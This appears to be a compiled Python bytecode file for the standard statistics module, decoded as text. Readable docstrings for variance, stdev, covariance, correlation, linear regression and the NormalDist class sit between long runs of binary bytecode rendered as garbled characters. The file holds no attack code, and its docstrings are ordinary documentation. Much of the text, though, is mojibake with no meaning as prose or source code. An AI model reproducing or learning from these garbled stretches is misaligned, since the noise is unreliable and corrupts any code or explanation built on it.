argument ``xbar`` to avoid recalculating it: >>> m = mean(data) >>> variance(data, m) 1.3720238095238095 This function does not check that ``xbar`` is actually the mean of ``data``. Giving arbitrary values for ``xbar`` may lead to invalid or impossible results. Decimals and Fractions are supported: >>> from decimal import Decimal as D >>> variance([D("27.5"), D("30.25"), D("30.25"), D("34.5"), D("41.75")]) Decimal('31.01875') >>> from fractions import Fraction as F >>> variance([F(1, 6), F(1, 2), F(5, 3)]) Fraction(67, 108) rz*variance requires at least two data pointsr6©r_rrt)rJÚxbarrRÚssrWr<s r4rrjs@€ôL�d˜D“/�K€A€rˆ1ˆa؈1‚uÜÐJÓKÐKÜ �B˜!˜a™%‘L !Ó $Ð$r3cób—t||«\}}}}|dkr td«‚t||z |«S)a,Return the population variance of ``data``. data should be a sequence or iterable of Real-valued numbers, with at least one value. The optional argument mu, if given, should be the mean of the data. If it is missing or None, the mean is automatically calculated. Use this function to calculate the variance from the entire population. To estimate the variance from a sample, the ``variance`` function is usually a better choice. Examples: >>> data = [0.0, 0.25, 0.25, 1.25, 1.5, 1.75, 2.75, 3.25] >>> pvariance(data) 1.25 If you have already calculated the mean of the data, you can pass it as the optional second argument to avoid recalculating it: >>> mu = mean(data) >>> pvariance(data, mu) 1.25 Decimals and Fractions are supported: >>> from decimal import Decimal as D >>> pvariance([D("27.5"), D("30.25"), D("30.25"), D("34.5"), D("41.75")]) Decimal('24.815') >>> from fractions import Fraction as F >>> pvariance([F(1, 4), F(5, 4), F(1, 2)]) Fraction(13, 72) r6z*pvariance requires at least one data pointrÞ)rJÚmurRràrWr<s r4rr–s<€ôF�d˜B“-�K€A€rˆ1ˆa؈1‚uÜÐJÓKÐKÜ �B˜‘F˜AÓ Ðr3cóô—t||«\}}}}|dkr td«‚||dz z }t|t«r t |j |j «St|j |j «S)z´Return the square root of the sample variance. See ``variance`` for arguments and other details. >>> stdev([1.5, 2.5, 2.5, 2.75, 3.25, 4.75]) 1.0810874155219827 rú'stdev requires at least two data pointsr6©r_rrgrr§rprqr™)rJrßrRràrWr<Úmsss r4rr¿sk€ô�d˜D“/�K€A€rˆ1ˆa؈1‚uÜÐGÓHÐHØ ��A‘‰,€CÜ�!”WÔÜ$ S§]¡]°C·O±OÓDÐDÜ ˜sŸ}™}¨c¯o©oÓ >Ð>r3cóî—t||«\}}}}|dkr td«‚||z }t|t«r t |j |j «St|j |j «S)z¹Return the square root of the population variance. See ``pvariance`` for arguments and other details. >>> pstdev([1.5, 2.5, 2.5, 2.75, 3.25, 4.75]) 0.986893273527251 r6z'pstdev requires at least one data pointrå)rJrârRràrWr<ræs r4rrÑsg€ô�d˜B“-�K€A€rˆ1ˆa؈1‚uÜÐGÓHÐHØ ˆq‰&€CÜ�!”WÔÜ$ S§]¡]°C·O±OÓDÐDÜ ˜sŸ}™}¨c¯o©oÓ >Ð>r3có —t|«\}}}}|dkr td«‚||dz z } t|«t|j|j «fS#t $r%t|«t|«t|«z fcYSwxYw)zFIn one pass, compute the mean and sample standard deviation as floats.rrär6)r_rrhr™rprqrb)rJrRràrßr<ræs r4Ú _mean_stdevréãs‚€ä˜“Y�N€A€rˆ4�؈1‚uÜÐGÓHÐHØ ��A‘‰,€Cð4Ü�T‹{Ô/°· ± ¸s¿¹ÓOÐOÐOøÜ ò4ä�T‹{œE $›K¬%°«)Ñ3Ð3Ò3ð4úsª*AÁ+BÂBcóò‡‡—t|«}t|«|k7r td«‚|dkr td«‚t|«|z Št|«|z Štˆfd„|D«ˆfd„|D««}||dz z S)apCovariance Return the sample covariance of two inputs *x* and *y*. Covariance is a measure of the joint variability of two inputs. >>> x = [1, 2, 3, 4, 5, 6, 7, 8, 9] >>> y = [1, 2, 3, 1, 2, 3, 1, 2, 3] >>> covariance(x, y) 0.75 >>> z = [9, 8, 7, 6, 5, 4, 3, 2, 1] >>> covariance(x, z) -7.5 >>> covariance(z, x) -7.5 zDcovariance requires that both inputs have same number of data pointsrz,covariance requires at least two data pointsc3ó(•K—|] }|‰z –—Œ y­wr8r2)r:Úxirßs €r4r=zcovariance..søèø€Ð)¡q �2˜•9¡qùóƒc3ó(•K—|] }|‰z –—Œ y­wr8r2©r:ÚyiÚybars €r4r=zcovariance..søèø€Ð+BÁ¸"¨B°­IÁùrír6)r‚rr&r')rVÚyr<Úsxyrßrñs @@r4rr÷sxù€ô" ˆA‹€AÜ ˆ1ƒv�‚{ÜÐdÓeÐe؈1‚uÜÐLÓMÐMÜ �‹7�Q‰;€DÜ �‹7�Q‰;€DÜ Ó)¡qÓ)Ó+BÁÓ+BÓ C€CØ �!�a‘%‰=Ðr3Úlinear)rÓcó—t|«}t|«|k7r td«‚|dkr td«‚|dvrtd|›�«‚|dk(r#|dz dz }t||¬ «}t||¬ «}n@t |«|z }t |«|z }|D�cgc]}||z ‘Œ }}|D�cgc]}||z ‘Œ }}t ||«} t ||«} t ||«} | t | | z«z Scc}wcc}w#t$r td «‚wxYw) alPearson's correlation coefficient Return the Pearson's correlation coefficient for two inputs. Pearson's correlation coefficient *r* takes values between -1 and +1. It measures the strength and direction of a linear relationship. >>> x = [1, 2, 3, 4, 5, 6, 7, 8, 9] >>> y = [9, 8, 7, 6, 5, 4, 3, 2, 1] >>> correlation(x, x) 1.0 >>> correlation(x, y) -1.0 If *method* is "ranked", computes Spearman's rank correlation coefficient for two inputs. The data is replaced by ranks. Ties are averaged so that equal values receive the same rank. The resulting coefficient measures the strength of a monotonic relationship. Spearman's rank correlation coefficient is appropriate for ordinal data or for continuous data that doesn't meet the linear proportion requirement for Pearson's correlation coefficient. zEcorrelation requires that both inputs have same number of data pointsrz-correlation requires at least two data points>rôÚrankedrÖrör6r–r«z&at least one of the inputs is constant)r‚rror�r&r'r r») rVròrÓr<r|rßrñrìrðrór^Úsyys r4rrs+€ô. ˆA‹€AÜ ˆ1ƒv�‚{ÜÐeÓfÐf؈1‚uÜÐMÓNÐNØ Ð)Ñ)ÜÐ+¨F¨:Ð6Ó7Ð7Ø �ÒØ�Q‘˜"‘ ˆÜ �!˜5Ô !ˆÜ �!˜5Ô !‰ä�A‹w˜‰{ˆÜ�A‹w˜‰{ˆÙ!"Ó #¡˜2ˆR�$‹Y ˆÐ #Ù!"Ó #¡˜2ˆR�$‹Y ˆÐ #Ü �!�Q‹-€CÜ �!�Q‹-€CÜ �!�Q‹-€CðHØ”T˜# ™)“_Ñ$Ð$ùò $ùÚ #øô òHÜÐFÓGÐGðHús C%Â! C*ÃC/Ã/DÚLinearRegression©ÚslopeÚ intercept)Ú proportionalcó�‡ —t|«}t|«|k7r td«‚|dkr td«‚|s9t|«|z }t|«|z Š |D�cgc]}||z ‘Œ }}ˆ fd„|D«}t||«dz}t||«} ||z }|rdn‰ |zz } t || ¬«Scc}w#t$r td«‚wxYw)aÉSlope and intercept for simple linear regression. Return the slope and intercept of simple linear regression parameters estimated using ordinary least squares. Simple linear regression describes relationship between an independent variable *x* and a dependent variable *y* in terms of a linear function: y = slope * x + intercept + noise where *slope* and *intercept* are the regression parameters that are estimated, and noise represents the variability of the data that was not explained by the linear regression (it is equal to the difference between predicted and actual values of the dependent variable). The parameters are returned as a named tuple. >>> x = [1, 2, 3, 4, 5] >>> noise = NormalDist().samples(5, seed=42) >>> y = [3 * x[i] + 2 + noise[i] for i in range(5)] >>> linear_regression(x, y) #doctest: +ELLIPSIS LinearRegression(slope=3.09078914170..., intercept=1.75684970486...) If *proportional* is true, the independent variable *x* and the dependent variable *y* are assumed to be directly proportional. The data is fit to a line passing through the origin. Since the *intercept* will always be 0.0, the underlying linear function simplifies to: y = slope * x + noise >>> y = [3 * x[i] + noise[i] for i in range(5)] >>> linear_regression(x, y, proportional=True) #doctest: +ELLIPSIS LinearRegression(slope=3.02447542484..., intercept=0.0) zKlinear regression requires that both inputs have same number of data pointsrz3linear regression requires at least two data pointsc3ó(•K—|] }|‰z –—Œ y­wr8r2rïs €r4r=z$linear_regression..usøèø€Ð #¡˜2ˆR�$�Y¡ùríçz x is constantrù)r‚rr&r'r»rø) rVròrür<rßrìrór^rúrûrñs @r4r r Fsãø€ôL ˆA‹€AÜ ˆ1ƒv�‚{ÜÐkÓlÐl؈1‚uÜÐSÓTÐTÙ Ü�A‹w˜‰{ˆÜ�A‹w˜‰{ˆÙ!"Ó #¡˜2ˆR�$‹Y ˆÐ #Û #¡Ó #ˆÜ �!�Q‹-˜#Ñ €CÜ �!�Q‹-€Cð/Ø�c‘ ˆñ$‘¨°¸± Ñ)<€IÜ  %°9Ô =Ð=ùò $øô ò/ܘoÓ.Ð.ð/úsÁ B+ B0Â0Ccóô—|dz }t|«dkrpd||zz }d|zdz|zdz|zdz|zdz|zd z|zd z|zd z|z}d |zd z|zdz|zdz|zdz|zdz|zdz|zdz}||z }|||zzS|dkr|nd|z }tt|« «}|dkr^|dz }d|zdz|zdz|zdz|zdz|zdz|zdz|zdz}d|zd z|zd!z|zd"z|zd#z|zd$z|zd%z|zdz}n]|dz }d&|zd'z|zd(z|zd)z|zd*z|zd+z|zd,z|zd-z}d.|zd/z|zd0z|zd1z|zd2z|zd3z|zd4z|zdz}||z }|dkr| }|||zzS)5Nçà?g333333Û?g…ëQ¸Ç?g^’}o)š£@gäE.kÒRà@g �·Ulð@g*u›†>læ@gçNÍØÑÊ@gÌÀ"]Ξ@gnC‹ˆ¤`@guïžÙ @giK˜Ê~j´@gv®±|EÜ@g¾ôdª|1ã@gfRÖÕr·Ô@gŸÈu.2µ@g÷³Èý~y…@gµn8(E@çð?rÿg@gš™™™™™ù?g鬷ÀZaI?ggìElëD—?g7\¸¹«òÎ?g²uSÌSô?gÄ=Ë. @gj%b÷@g›±ÊHw…@gjRéýeÆö?gä9dh? >g('ß¿ŒñA?g¿«~z �?g@ð”3õÂ?gÉ…3ò’æ?g3fRæxÒú?gI¤F»ïl@g“¿“ÖtûŠ>g*àYÌÆnü>gESB\T?gçN;A+›?gÏUR1ÙúÒ?gE¤F¦Žü?gP‡nêÚ@g&å>Á±¡@g�Áøñ¿iâg¿tcI,\ó>g×Å�—¼ÈI?g*F2ùvŽ?gûC4ë†Á?g×ÇOÓ1ã?)r!r r%)ÚprâÚsigmar˜Úrr±r²rVs r4Ú_normal_dist_inv_cdfrƒsÌ€ð ˆC‰€AÜ ˆAƒw�%ÒØ �q˜1‘uÑ ˆà0°1Ñ4Ø0ñ1Ø45ñ6à0ñ1à45ñ6ð1ñ1ð56ñ6ð1ñ 1ð56ñ 6ð 1ñ 1ð 56ñ 6ð 1ñ 1ð 56ñ 6ð1ñ1ð56ñ6ˆð1°1Ñ4Ø0ñ1Ø45ñ6à0ñ1à45ñ6ð1ñ1ð56ñ6ð1ñ 1ð56ñ 6ð 1ñ 1ð 56ñ 6ð 1ñ 1ð 56ñ 6ðñˆð �#‰IˆØ�Q˜‘YÑÐØ �#ŠX‰˜3 ™7€AÜ Œc�!‹fˆW‹ €A؈C‚xØ �‰Gˆà1°AÑ5Ø1ñ2Ø56ñ7à1ñ2à56ñ7ð2ñ2ð67ñ7ð2ñ 2ð67ñ 7ð 2ñ 2ð 67ñ 7ð 2ñ 2ð 67ñ 7ð2ñ2ˆð2°AÑ5Ø1ñ2Ø56ñ7à1ñ2à56ñ7ð2ñ2ð67ñ7ð2ñ 2ð67ñ 7ð 2ñ 2ð 67ñ 7ð 2ñ 2ð 67ñ 7ðñ‰ð �‰Gˆà1°AÑ5Ø1ñ2Ø56ñ7à1ñ2à56ñ7ð2ñ2ð67ñ7ð2ñ 2ð67ñ 7ð 2ñ 2ð 67ñ 7ð 2ñ 2ð 67ñ 7ð2ñ2ˆð3°QÑ6Ø1ñ2Ø56ñ7à1ñ2à56ñ7ð2ñ2ð67ñ7ð2ñ 2ð67ñ 7ð 2ñ 2ð 67ñ 7ð 2ñ 2ð 67ñ 7ðñˆð ˆc‰ €A؈3‚wØ ˆBˆØ ��U‘Ñ Ðr3)rcó—eZdZdZdddœZd!d„Zed„«Zddœd „Zd „Z d „Z d „Z d"d „Z d„Z d„Zed„«Zed„«Zed„«Zed„«Zed„«Zd„Zd„Zd„Zd„Zd„Zd„ZeZd„ZeZd„Zd„Zd„Z d„Z!d „Z"y)#rz(Normal distribution of a random variablez(Arithmetic mean of a normal distributionz+Standard deviation of a normal distribution©Ú_muÚ_sigmacód—|dkr td«‚t|«|_t|«|_y)zDNormalDist where mu is the mean and sigma is the standard deviation.rÿzsigma must be non-negativeN)rrhr r )Úselfrârs r4Ú__init__zNormalDist.__init__Þs+€à �3Š;Ü!Ð">Ó?Ð ?ܘ“9ˆŒÜ˜E“lˆ� r3có—|t|«ŽS)z5Make a normal distribution instance from sample data.)ré)ÚclsrJs r4Ú from_sampleszNormalDist.from_samplesås€ñ”K Ó%Ð&Ð&r3N)Úseedcóà—|€tjntj|«j}|j|j}}t d|«D�cgc] }|||«‘Œ c}Scc}w)z=Generate *n* samples for a given mean and standard deviation.N)ÚrandomÚgaussÚRandomr r r)r r<rrrârr‡s r4ÚsampleszNormalDist.samplesêsV€à $  ”— ’ ´&·-±-ÀÓ2E×2KÑ2KˆØ—H‘H˜dŸk™kˆEˆÜ*0°°q¬/Ó:©/ Q‘�b˜%Õ ¨/Ñ:Ð:ùÒ:sÁA+cóº—|j|jz}|s td«‚||jz }t||zd|zz «t t |z«z S)z4Probability density function. P(x <= X < x+dx) / dxz$pdf() not defined when sigma is zerogÀ)r rr r"r r$)r rVrÚdiffs r4ÚpdfzNormalDist.pdfðsV€à—;‘; §¡Ñ,ˆÙÜ!Ð"HÓIÐ IØ�4—8‘8‰|ˆÜ�4˜$‘; $¨¡/Ñ2Ó3´d¼3À¹>Ó6JÑJÐJr3có”—|js td«‚ddt||jz |jtzz «zzS)z,Cumulative distribution function. P(X <= x)z$cdf() not defined when sigma is zerorr)r rr#r Ú_SQRT2©r rVs r4ÚcdfzNormalDist.cdføs@€à�{Š{Ü!Ð"HÓIÐ IØ�cœC  T§X¡X¡°$·+±+ÄÑ2FÑ GÓHÑHÑIÐIr3cón—|dks|dk\r td«‚t||j|j«S)aSInverse cumulative distribution function. x : P(X <= x) = p Finds the value of the random variable such that the probability of the variable being less than or equal to that value equals the given probability. This function is also called the percent point function or quantile function. rÿrz$p must be in the range 0.0 < p < 1.0)rrr r )r rs r4Úinv_cdfzNormalDist.inv_cdfþs4€ð �Š8�q˜C’xÜ!Ð"HÓIÐ IÜ# A t§x¡x°·±Ó=Ð=r3cód—td|«D�cgc]}|j||z «‘Œc}Scc}w)anDivide into *n* continuous intervals with equal probability. Returns a list of (n - 1) cut points separating the intervals. Set *n* to 4 for quartiles (the default). Set *n* to 10 for deciles. Set *n* to 100 for percentiles which gives the 99 cuts points that separate the normal distribution in to 100 equal sized groups. r6)r×r)r r<r…s r4rzNormalDist.quantiles s/€ô.3°1°a¬[Ó9©[¨�— ‘ ˜Q ™UÕ#¨[Ñ9Ð9ùÒ9s�-c ó—t|t«s td«‚||}}|j|jf|j|jfkr||}}|j |j }}|r|s t d«‚||z }t|j|jz «}|s%dt|d|jztzz «z S|j|z|j|zz }|j|jzt||z|t||z «zz«z} || z|z } || z |z } dt|j| «|j| «z «t|j| «|j| «z «zz S)aºCompute the overlapping coefficient (OVL) between two normal distributions. Measures the agreement between two normal probability distributions. Returns a value between 0.0 and 1.0 giving the overlapping area in the two underlying probability density functions. >>> N1 = NormalDist(2.4, 1.6) >>> N2 = NormalDist(3.2, 2.0) >>> N1.overlap(N2) 0.8035050657330205 z$Expected another NormalDist instancez(overlap() not defined when sigma is zerorr-) r®rrir r rrr!r#rr r%r) r ÚotherÚXÚYÚX_varÚY_varÚdvr¦r‘ÚbÚx1Úx2s r4ÚoverlapzNormalDist.overlaps_€ô ˜%¤Ô,ÜÐBÓCÐ CØ�Uˆ1ˆØ �H‰H�a—e‘eÐ  §¡¨!¯%©%Ð0Ò 0Ø�aˆqˆAØ—z‘z 1§:¡:ˆuˆÙ™EÜ!Ð"LÓMÐ MØ �U‰]ˆÜ �!—%‘%˜!Ÿ%™%‘-Ó ˆÙØœ˜R 3¨¯©¡>´FÑ#:Ñ;Ó<Ñ<Ð <Ø �E‰E�E‰M˜AŸE™E E™MÑ )ˆØ �H‰H�q—x‘xÑ ¤$ r¨B¡w°´c¸%À%¹-Ó6HÑ1HÑ'HÓ"IÑ IˆØ�!‰e�r‰\ˆØ�!‰e�r‰\ˆØ”d˜1Ÿ5™5 ›9 q§u¡u¨R£yÑ0Ó1´D¸¿¹¸r»ÀQÇUÁUÈ2ÃYÑ9NÓ4OÑOÑPÐPr3cóh—|js td«‚||jz |jz S)z¹Compute the Standard Score. (x - mean) / stdev Describes *x* in terms of the number of standard deviations above or below the mean of the normal distribution. z'zscore() not defined when sigma is zero)r rr rs r4ÚzscorezNormalDist.zscore9s.€ð�{Š{Ü!Ð"KÓLÐ LØ�D—H‘H‘  § ¡ Ñ+Ð+r3có—|jS)z+Arithmetic mean of the normal distribution.©r ©r s r4r zNormalDist.meanDó €ð�x‰xˆr3có—|jS)z,Return the median of the normal distributionr/r0s r4r zNormalDist.medianIr1r3có—|jS)z¨Return the mode of the normal distribution The mode is the value x where which the probability density function (pdf) takes its maximum value. r/r0s r4rzNormalDist.modeNs €ð�x‰xˆr3có—|jS)z.Standard deviation of the normal distribution.©r r0s r4rzNormalDist.stdevWs€ð�{‰{Ðr3có4—|j|jzS)z!Square of the standard deviation.r5r0s r4rzNormalDist.variance\s€ð�{‰{˜TŸ[™[Ñ(Ð(r3cóê—t|t«rAt|j|jzt|j|j««St|j|z|j«S)ajAdd a constant or another NormalDist instance. If *other* is a constant, translate mu by the constant, leaving sigma unchanged. If *other* is a NormalDist, add both the means and the variances. Mathematically, this works only if the two distributions are independent or if they are jointly normally distributed. ©r®rr rr ©r)r*s r4Ú__add__zNormalDist.__add__aóO€ô �bœ*Ô %ܘbŸf™f r§v¡v™o¬u°R·Y±YÀÇ Á Ó/JÓKÐ Kܘ"Ÿ&™& 2™+ r§y¡yÓ1Ð1r3cóê—t|t«rAt|j|jz t|j|j««St|j|z |j«S)asSubtract a constant or another NormalDist instance. If *other* is a constant, translate by the constant mu, leaving sigma unchanged. If *other* is a NormalDist, subtract the means and add the variances. Mathematically, this works only if the two distributions are independent or if they are jointly normally distributed. r8r9s r4Ú__sub__zNormalDist.__sub__or;r3có`—t|j|z|jt|«z«S)zµMultiply both mu and sigma by a constant. Used for rescaling, perhaps to change measurement units. Sigma is scaled with the absolute value of the constant. ©rr r r!r9s r4Ú__mul__zNormalDist.__mul__}ó&€ô ˜"Ÿ&™& 2™+ r§y¡y´4¸³8Ñ';Ó<Ðó :ò QòD ,ðñóððñóððñóððñóððñ)óð)ò 2ò 2ò=ò=ò-ò.ð€Hòð€Hò;ò -òPò%ó&r3rr8)znegative value)r)OrZÚ__all__rcr¹rÚsysÚ fractionsrÚdecimalrÚ itertoolsrrrÚbisectrrrr r!r"r#r$r%r&r'Ú functoolsr(Úoperatorr)Ú collectionsr*r+r,rrorrSr_rErHrDrtrwrƒrhr�rIr’Ú float_infoÚmant_digr”Ú__annotations__r™r§r rrrr rr r rrrrrrrrérrrør rÚ _statisticsÚ ImportErrorrr2r3r4ÚrnsÉðòhòT €ó. ÛÛ Û åÝß,Ñ,ß,ßE×EÕEÝÝß8Ñ8á ˆc‹€ô �jô ò 3ól&òR ò4ò>+ò\ó$ð¨°IÀQò3È4ÐPUÉ;ó3ðl ð¨ð°óð˜3Ÿ>™>×2Ñ2Ñ2°QÑ6€�Ó6ð #˜3ð # 3ð #¨5ó #ð˜Sð Sð¨Wóò<"ó,!òHGó&5,òp+ò0 ò,ó&E+òPBò<Kðr ;ô(4ób)%óX&óR?ó$?ò$ 4ò(ð8$,ô-Hñ`Ð0Ð2HÓIÐð05ô7>òzGðV Ý0÷ Z&òZ&øð ò Ùð úsÄ1EÅE Å E